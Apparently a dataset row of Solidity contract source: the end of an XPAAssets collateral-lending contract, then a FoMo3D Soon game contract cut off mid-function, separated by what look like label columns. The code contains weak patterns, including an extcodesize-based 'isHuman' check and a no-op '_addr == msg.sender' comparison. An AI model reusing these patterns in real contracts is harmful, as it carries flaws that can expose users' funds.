for(uint256 i = 0; i < xpaAsset.length; i++) {
if(xpaAsset[i] == newAsset){
return;
}
}
xpaAsset.push(newAsset);
}
function mortgage(
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
uint256 amount_ = Token(XPA).allowance(msg.sender, this);
if(
amount_ >= 100 ether &&
Token(XPA).transferFrom(msg.sender, this, amount_)
){
fromAmountBooks[user] = safeAdd(fromAmountBooks[user], amount_);
emit eMortgage(user,amount_);
}
}
function withdraw(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
token_ != XPA &&
amount_ > 0 &&
amount_ <= safeDiv(safeMul(safeDiv(safeMul(getUsableXPA(user), getPrice(token_)), 1 ether), getHighestMortgageRate()), 1 ether)
){
toAmountBooks[user][token_] = safeAdd(toAmountBooks[user][token_],amount_);
uint256 withdrawFee = safeDiv(safeMul(amount_,withdrawFeeRate),1 ether);
XPAAssetToken(token_).create(user, safeSub(amount_, withdrawFee));
XPAAssetToken(token_).create(this, withdrawFee);
emit eWithdraw(user, token_, amount_);
}
}
function withdrawXPA(
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
amount_ >= 100 ether &&
amount_ <= getUsableXPA(user)
){
fromAmountBooks[user] = safeSub(fromAmountBooks[user], amount_);
require(Token(XPA).transfer(user, amount_));
emit eWithdraw(user, XPA, amount_);
}
}
function repayment(
address token_,
uint256 amount_,
address representor_
)
onlyActive
public
{
address user = getUser(representor_);
if(
XPAAssetToken(token_).burnFrom(user, amount_)
) {
toAmountBooks[user][token_] = safeSub(toAmountBooks[user][token_],amount_);
emit eRepayment(user, token_, amount_);
}
}
function offset(
address user_,
address token_
)
onlyActive
public
{
uint256 userFromAmount = fromAmountBooks[user_] >= maxForceOffsetAmount ? maxForceOffsetAmount : fromAmountBooks[user_];
require(block.timestamp > initCanOffsetTime);
require(userFromAmount > 0);
address user = getUser(user_);
if(
user_ == user &&
getLoanAmount(user, token_) > 0
){
emit eOffset(user, user_, userFromAmount);
uint256 remainingXPA = executeOffset(user_, userFromAmount, token_, offsetFeeRate);
require(Token(XPA).transfer(fundAccount, safeDiv(safeMul(safeSub(userFromAmount, remainingXPA), 1 ether), safeAdd(1 ether, offsetFeeRate))));
fromAmountBooks[user_] = remainingXPA;
}else if(
user_ != user &&
block.timestamp > (forceOffsetBooks[user_] + 28800) &&
getMortgageRate(user_) >= getClosingLine()
){
forceOffsetBooks[user_] = block.timestamp;
uint256 punishXPA = getPunishXPA(user_);
emit eOffset(user, user_, punishXPA);
uint256[3] memory forceOffsetFee;
forceOffsetFee[0] = safeDiv(safeMul(punishXPA, forceOffsetBasicFeeRate), 1 ether);
forceOffsetFee[1] = safeDiv(safeMul(punishXPA, forceOffsetExtraFeeRate), 1 ether);
forceOffsetFee[2] = safeDiv(safeMul(punishXPA, forceOffsetExecuteFeeRate), 1 ether);
forceOffsetFee[2] = forceOffsetFee[2] > forceOffsetExecuteMaxFee ? forceOffsetExecuteMaxFee : forceOffsetFee[2];
profit = safeAdd(profit, forceOffsetFee[0]);
uint256 allFee = safeAdd(forceOffsetFee[2],safeAdd(forceOffsetFee[0], forceOffsetFee[1]));
remainingXPA = safeSub(punishXPA,allFee);
for(uint256 i = 0; i < xpaAsset.length; i++) {
if(getLoanAmount(user_, xpaAsset[i]) > 0){
remainingXPA = executeOffset(user_, remainingXPA, xpaAsset[i],0);
if(remainingXPA == 0){
break;
}
}
}
fromAmountBooks[user_] = safeSub(fromAmountBooks[user_], safeSub(punishXPA, remainingXPA));
require(Token(XPA).transfer(fundAccount, safeAdd(forceOffsetFee[1],safeSub(safeSub(punishXPA, allFee), remainingXPA))));
require(Token(XPA).transfer(msg.sender, forceOffsetFee[2]));
}
}
function executeOffset(
address user_,
uint256 xpaAmount_,
address xpaAssetToken,
uint256 feeRate
)
internal
returns(uint256){
uint256 fromXPAAsset = safeDiv(safeMul(xpaAmount_,getPrice(xpaAssetToken)),1 ether);
uint256 userToAmount = toAmountBooks[user_][xpaAssetToken];
uint256 fee = safeDiv(safeMul(userToAmount, feeRate), 1 ether);
uint256 burnXPA;
uint256 burnXPAAsset;
if(fromXPAAsset >= safeAdd(userToAmount, fee)){
burnXPA = safeDiv(safeMul(safeAdd(userToAmount, fee), 1 ether), getPrice(xpaAssetToken));
emit eExecuteOffset(burnXPA, xpaAssetToken, safeAdd(userToAmount, fee));
xpaAmount_ = safeSub(xpaAmount_, burnXPA);
toAmountBooks[user_][xpaAssetToken] = 0;
profit = safeAdd(profit, safeDiv(safeMul(fee,1 ether), getPrice(xpaAssetToken)));
if(
!FundAccount(fundAccount).burn(xpaAssetToken, userToAmount)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken],userToAmount);
}
}else{
fee = safeDiv(safeMul(xpaAmount_, feeRate), 1 ether);
profit = safeAdd(profit, fee);
burnXPAAsset = safeDiv(safeMul(safeSub(xpaAmount_, fee),getPrice(xpaAssetToken)),1 ether);
toAmountBooks[user_][xpaAssetToken] = safeSub(userToAmount, burnXPAAsset);
emit eExecuteOffset(xpaAmount_, xpaAssetToken, burnXPAAsset);
xpaAmount_ = 0;
if(
!FundAccount(fundAccount).burn(xpaAssetToken, burnXPAAsset)
){
unPaidFundAccount[xpaAssetToken] = safeAdd(unPaidFundAccount[xpaAssetToken], burnXPAAsset);
}
}
return xpaAmount_;
}
function getPunishXPA(
address user_
)
internal
view
returns(uint256){
uint256 userFromAmount = fromAmountBooks[user_];
uint256 punishXPA = safeDiv(safeMul(userFromAmount, 0.1 ether),1 ether);
if(userFromAmount <= safeAdd(minForceOffsetAmount, 100 ether)){
return userFromAmount;
}else if(punishXPA < minForceOffsetAmount){
return minForceOffsetAmount;
}else if(punishXPA > maxForceOffsetAmount){
return maxForceOffsetAmount;
}else{
return punishXPA;
}
}
function getMortgageRate(
address user_
)
public
view
returns(uint256){
if(fromAmountBooks[user_] != 0){
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
return safeDiv(safeMul(totalLoanXPA,1 ether),fromAmountBooks[user_]);
}else{
return 0;
}
}
function getHighestMortgageRate()
public
view
returns(uint256){
uint256 totalXPA = Token(XPA).totalSupply();
uint256 issueRate = safeDiv(safeMul(Token(XPA).balanceOf(this), 1 ether), totalXPA);
if(issueRate >= 0.7 ether){
return 0.7 ether;
}else if(issueRate >= 0.6 ether){
return 0.6 ether;
}else if(issueRate >= 0.5 ether){
return 0.5 ether;
}else if(issueRate >= 0.3 ether){
return 0.3 ether;
}else{
return 0.1 ether;
}
}
function getClosingLine()
public
view
returns(uint256){
uint256 highestMortgageRate = getHighestMortgageRate();
if(highestMortgageRate >= 0.6 ether){
return safeAdd(highestMortgageRate, 0.1 ether);
}else{
return 0.6 ether;
}
}
function getPrice(
address token_
)
public
view
returns(uint256){
return TokenFactory(tokenFactory).getPrice(token_);
}
function getUsableXPA(
address user_
)
public
view
returns(uint256) {
uint256 totalLoanXPA = 0;
for(uint256 i = 0; i < xpaAsset.length; i++) {
totalLoanXPA = safeAdd(totalLoanXPA, safeDiv(safeMul(getLoanAmount(user_,xpaAsset[i]), 1 ether), getPrice(xpaAsset[i])));
}
if(fromAmountBooks[user_] > safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate())){
return safeSub(fromAmountBooks[user_], safeDiv(safeMul(totalLoanXPA, 1 ether), getHighestMortgageRate()));
}else{
return 0;
}
}
function getLoanAmount(
address user_,
address token_
)
public
view
returns(uint256) {
return toAmountBooks[user_][token_];
}
function getRemainingAmount(
address user_,
address token_
)
public
view
returns(uint256) {
uint256 amount = safeDiv(safeMul(getUsableXPA(user_), getPrice(token_)), 1 ether);
return safeDiv(safeMul(amount, getHighestMortgageRate()), 1 ether);
}
function burnFundAccount(
address token_,
uint256 amount_
)
onlyOperator
public
{
if(
FundAccount(fundAccount).burn(token_, amount_)
){
unPaidFundAccount[token_] = safeSub(unPaidFundAccount[token_], amount_);
}
}
function transferProfit(
address token_,
uint256 amount_
)
onlyOperator
public
{
require(amount_ > 0);
if(
XPA != token_ &&
Token(token_).balanceOf(this) >= amount_
) {
require(Token(token_).transfer(bank, amount_));
}
if(
XPA == token_ &&
Token(XPA).balanceOf(this) >= amount_
) {
profit = safeSub(profit,amount_);
require(Token(token_).transfer(bank, amount_));
}
}
function setFeeRate(
uint256 withDrawFeerate_,
uint256 offsetFeerate_,
uint256 forceOffsetBasicFeerate_,
uint256 forceOffsetExecuteFeerate_,
uint256 forceOffsetExtraFeerate_,
uint256 forceOffsetExecuteMaxFee_
)
onlyOperator
public
{
require(withDrawFeerate_ < 0.05 ether);
require(offsetFeerate_ < 0.05 ether);
require(forceOffsetBasicFeerate_ < 0.05 ether);
require(forceOffsetExecuteFeerate_ < 0.05 ether);
require(forceOffsetExtraFeerate_ < 0.05 ether);
withdrawFeeRate = withDrawFeerate_;
offsetFeeRate = offsetFeerate_;
forceOffsetBasicFeeRate = forceOffsetBasicFeerate_;
forceOffsetExecuteFeeRate = forceOffsetExecuteFeerate_;
forceOffsetExtraFeeRate = forceOffsetExtraFeerate_;
forceOffsetExecuteMaxFee = forceOffsetExecuteMaxFee_;
}
function migrate(
address newContract_
)
public
onlyOwner
{
require(newContract_ != address(0));
if(
newXPAAssets == address(0) &&
XPAAssets(newContract_).transferXPAAssetAndProfit(xpaAsset, profit) &&
Token(XPA).transfer(newContract_, Token(XPA).balanceOf(this))
) {
forceOff = true;
powerStatus = false;
newXPAAssets = newContract_;
for(uint256 i = 0; i < xpaAsset.length; i++) {
XPAAssets(newContract_).transferUnPaidFundAccount(xpaAsset[i], unPaidFundAccount[xpaAsset[i]]);
}
emit eMigrate(newContract_);
}
}
function transferXPAAssetAndProfit(
address[] xpaAsset_,
uint256 profit_
)
public
onlyOperator
returns(bool) {
require(msg.sender == oldXPAAssets);
xpaAsset = xpaAsset_;
profit = profit_;
return true;
}
function transferUnPaidFundAccount(
address xpaAsset_,
uint256 unPaidAmount_
)
public
onlyOperator
returns(bool) {
require(msg.sender == oldXPAAssets);
unPaidFundAccount[xpaAsset_] = unPaidAmount_;
return true;
}
function migratingAmountBooks(
address user_,
address newContract_
)
public
onlyOperator
{
XPAAssets(newContract_).migrateAmountBooks(user_);
}
function migrateAmountBooks(
address user_
)
public
onlyOperator
{
require(msg.sender == oldXPAAssets);
require(!migrateBooks[user_]);
migrateBooks[user_] = true;
fromAmountBooks[user_] = safeAdd(fromAmountBooks[user_],XPAAssets(oldXPAAssets).getFromAmountBooks(user_));
forceOffsetBooks[user_] = XPAAssets(oldXPAAssets).getForceOffsetBooks(user_);
for(uint256 i = 0; i < xpaAsset.length; i++) {
toAmountBooks[user_][xpaAsset[i]] = safeAdd(toAmountBooks[user_][xpaAsset[i]], XPAAssets(oldXPAAssets).getLoanAmount(user_,xpaAsset[i]));
}
emit eMigrateAmount(user_);
}
function getFromAmountBooks(
address user_
)
public
view
returns(uint256) {
return fromAmountBooks[user_];
}
function getForceOffsetBooks(
address user_
)
public
view
returns(uint256) {
return forceOffsetBooks[user_];
}
} | 0 | 1,944 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract FoMo3DSoon is F3Devents{
using SafeMath for uint256;
using NameFilter for string;
using F3DKeysCalcFast for uint256;
DiviesInterface constant private Divies = DiviesInterface(0xC0c001140319C5f114F8467295b1F22F86929Ad0);
JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0xdd4950F977EE28D2C132f1353D1595035Db444EE);
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xD60d353610D9a5Ca478769D371b53CEfAA7B6E4c);
string constant public name = "FoMo3D Soon(tm) Edition";
string constant public symbol = "F3D";
uint256 private rndGap_ = 60 seconds;
uint256 constant private rndInit_ = 5 minutes;
uint256 constant private rndInc_ = 5 minutes;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(30,6);
fees_[1] = F3Ddatasets.TeamFee(43,0);
fees_[2] = F3Ddatasets.TeamFee(56,10);
fees_[3] = F3Ddatasets.TeamFee(43,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end)
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else if (_now <= round_[_rID].end)
return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 100000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now <= round_[_rID].strt + rndGap_)
return( ((round_[_rID].end).sub(rndInit_)).sub(_now) );
else
if (_now < round_[_rID].end)
return( (round_[_rID].end).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false)
{
uint256 _roundMask;
uint256 _roundEth;
uint256 _roundKeys;
uint256 _roundPot;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
{
_roundEth = round_[_rID].ico;
_roundKeys = (round_[_rID].ico).keys();
_roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys;
_roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000)));
} else {
_roundEth = round_[_rID].eth;
_roundKeys = round_[_rID].keys;
_roundMask = round_[_rID].mask;
_roundPot = round_[_rID].pot;
}
uint256 _playerKeys;
if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0)
_playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys;
else
_playerKeys = calcPlayerICOPhaseKeys(_pID, _rID);
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys)
private
view
returns(uint256)
{
return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (round_[_rID].eth != 0)
{
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
} else {
return
(
round_[_rID].ico,
_rID,
(round_[_rID].ico).keys(),
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if (plyrRnds_[_pID][_rID].ico == 0)
{
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
0
);
} else {
return
(
_pID,
plyr_[_pID].name,
calcPlayerICOPhaseKeys(_pID, _rID),
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].ico
);
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000;
icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_);
} else {
_eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000;
core(_pID, msg.value, _affID, _team, _eventData_);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_ = manageRoundAndPlayer(_pID, _eventData_);
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
if (now <= round_[rID_].strt + rndGap_)
{
_eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000;
icoPhaseCore(_pID, _eth, _team, _affID, _eventData_);
} else {
core(_pID, _eth, _affID, _team, _eventData_);
}
}
function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0)
{
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico);
round_[_rID].ico = _eth.add(round_[_rID].ico);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
round_[_rID].icoGen = _gen.add(round_[_rID].icoGen);
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen);
round_[_rID].pot = _pot.add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
endTx(_rID, _pID, _team, _eth, 0, _eventData_);
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
if (round_[_rID].eth == 0 && round_[_rID].ico > 0)
roundClaimICOKeys(_rID);
if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0)
{
plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID);
plyrRnds_[_pID][_rID].ico = 0;
}
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
